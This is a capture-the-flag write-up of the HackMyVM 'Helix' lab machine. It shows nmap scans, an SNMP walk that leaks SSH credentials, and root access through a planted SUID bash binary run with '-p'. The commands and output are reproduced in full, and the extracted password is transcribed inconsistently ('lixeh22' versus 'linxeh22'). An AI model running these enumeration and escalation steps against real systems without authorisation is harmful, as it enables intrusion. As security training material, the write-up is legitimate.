HackMyVM Helix Writeup
A comprehensive walk-through of the Helix machine on HackMyVM, detailing SNMP enumeration to extract SSH credentials and privilege escalation via a custom SUID bash binary.
The Helix machine on HackMyVM is a lightweight CTF challenge that demonstrates the risks of exposed SNMP services and insecure SUID binaries. By performing an SNMP walk using public community strings, we extract sensitive contact information that functions as SSH credentials. Once authenticated, we locate a custom SUID bash binary in /var/tmp and exploit it to obtain root privileges.
Reconnaissance — Port Scan
We begin the engagement by performing a comprehensive SYN scan using nmap across all 65,535 TCP ports to discover open services and map the target’s initial attack surface.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(suraxddq㉿kali)-[~]
└─$ sudo nmap -sS -p- --open --min-rate 5000 -vvv -n 192.168.0.14
Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-21 15:13 +0200
Initiating ARP Ping Scan at 15:13
Scanning 192.168.0.14 [1 port]
Completed ARP Ping Scan at 15:13, 0.05s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 15:13
Scanning 192.168.0.14 [65535 ports]
Discovered open port 22/tcp on 192.168.0.14
Completed SYN Stealth Scan at 15:13, 0.52s elapsed (65535 total ports)
Nmap scan report for 192.168.0.14
Host is up, received arp-response (0.00016s latency).
Scanned at 2026-06-21 15:13:06 CEST for 1s
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
MAC Address: 08:00:27:6B:4A:02 (Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.74 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
The scan reveals only one open TCP port:
- Port 22 (SSH)
Since no other TCP services are exposed, we pivot to enumerating UDP services.
Reconnaissance — UDP Port Scan
We execute a targeted UDP scan using nmap against common ports, such as DHCP, TFTP, and SNMP, to locate other active services.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(suraxddq㉿kali)-[~]
└─$ sudo nmap -sU -p161,162,67,68,69 192.168.0.14
[sudo] password for suraxddq:
Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-21 20:34 +0200
Nmap scan report for 192.168.0.14
Host is up (0.00018s latency).
PORT STATE SERVICE
67/udp closed dhcps
68/udp open|filtered dhcpc
69/udp closed tftp
161/udp open snmp
162/udp closed snmptrap
MAC Address: 08:00:27:6B:4A:02 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 1.96 seconds
The scan confirms that port 161 (SNMP) is open, prompting us to perform community string queries.
Service Enumeration — SNMP Walk
We perform an SNMP walk using snmpwalk with the default public community string to extract system information from the target.
1
2
3
4
5
6
7
8
┌──(suraxddq㉿kali)-[~/Downloads]
└─$ snmpwalk -v2c -c public 192.168.0.14 .
iso.3.6.1.2.1.1.1.0 = STRING: "Linux helix 6.12.74+deb13+1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.74-2 (2026-03-08) x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (3933) 0:00:39.33
iso.3.6.1.2.1.1.4.0 = STRING: "Me:lixeh22"
iso.3.6.1.2.1.1.5.0 = STRING: "helix"
iso.3.6.1.2.1.1.6.0 = STRING: "Sitting on the Dock of the Bay"
The SNMP query successfully dumps the system attributes. The sysContact field (iso.3.6.1.2.1.1.4.0) contains the string "Me:lixeh22", which reveals the following credentials:
- Username:
me - Password:
linxeh22
Lateral Movement — SSH Access
Using the credentials obtained from the SNMP dump, we connect to the target machine via SSH.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(suraxddq㉿kali)-[~]
└─$ ssh me@192.168.0.14
The authenticity of host '192.168.0.14 (192.168.0.14)' can't be established.
ED25519 key fingerprint is: SHA256:vPz/C/Y+ypmtCOAQUCmpzt3TVpY2cWaZsludaqMj7N0
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.0.14' (ED25519) to the list of known hosts.
me@192.168.0.14's password:
Linux helix 6.12.74+deb13+1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.74-2 (2026-03-08) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue May 12 17:06:19 2026 from 192.168.56.1
me@helix:~$ id
uid=1001(me) gid=1001(me) groupes=1001(me)
Upon logging in, we verify our user ID and establish an active shell session.
Privilege Escalation — SUID Binary Enumeration
With a session as the user me, we search the filesystem for binaries with SUID permissions set to look for vectors to escalate privileges to root.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
me@helix:~$ find / -perm /4000 -type f 2> /dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/su
/var/tmp/.suid_bash
The search identifies /var/tmp/.suid_bash, which is a non-default custom SUID binary. Since it is located in a writable directory (/var/tmp) and is owned by root, we can abuse it to execute commands with elevated privileges.
Privilege Escalation — Custom SUID Bash Exploitation
We execute the SUID bash binary using the -p flag to preserve our root privileges during execution.
1
2
3
4
5
6
7
8
me@helix:~$ /var/tmp/.suid_bash -p
.suid_bash-5.2# id
uid=1001(me) gid=1001(me) euid=0(root) groupes=1001(me)
.suid_bash-5.2# cat /root/root.txt
3faf135XXXXX
.suid_bash-5.2# cat /home/*/*txt
410e2fbXXXXX
The binary drops us into a root shell (euid=0). From here, we successfully retrieve both the root flag (root.txt) and the user flag (user.txt).